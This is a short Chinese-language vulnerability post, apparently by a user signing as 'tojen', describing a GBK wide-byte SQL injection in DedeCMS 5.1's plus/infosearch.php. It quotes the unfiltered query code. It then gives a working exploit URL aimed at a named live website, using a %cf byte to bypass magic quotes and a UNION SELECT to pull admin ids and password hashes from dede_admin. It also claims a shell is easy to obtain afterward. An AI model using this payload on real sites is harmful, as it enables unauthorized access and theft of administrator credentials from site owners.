一个月前看了看了dedecms代码(只看了plus下的文件),发现有些变量人为控制没有过滤,但是在php的魔法引号这道天然屏障面前利用几率不好
但是联想到gbk的宽字符,突破方法就有了
漏洞文件:plus/infosearch.php
测试版本:5.1 gbk
描述:$q变量没有过滤直接进入查询,导致注入出现。代码如下:
$q = trim($q); if($areaid > 0) { $wheresql = "areaid=$areaid and "; }
$query = "select ID,typeid,title,memberID,writer,senddate from #@__infos where $wheresql title like '%$q%' order by senddate desc";
$dlist = new DataList();
$dlist->pageSize = 20; $dlist->SetParameter("q",$q); $dlist->SetParameter("action",'search'); $dlist->SetParameter("areaid",$areaid); $dlist->SetSource($query);
“‘”突破了,那就照常注入。
测试站:http://www.xuyiphoto.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,id,4,pwd,6%20from%20dede_admin/*
至于后台拿shell,找不到后台的一样可以轻松拿到shell.不会的留言。
还有几个文件存在注入问题,象feedback.php,后续发放分析。
by tojen(www.tojen.cn)
|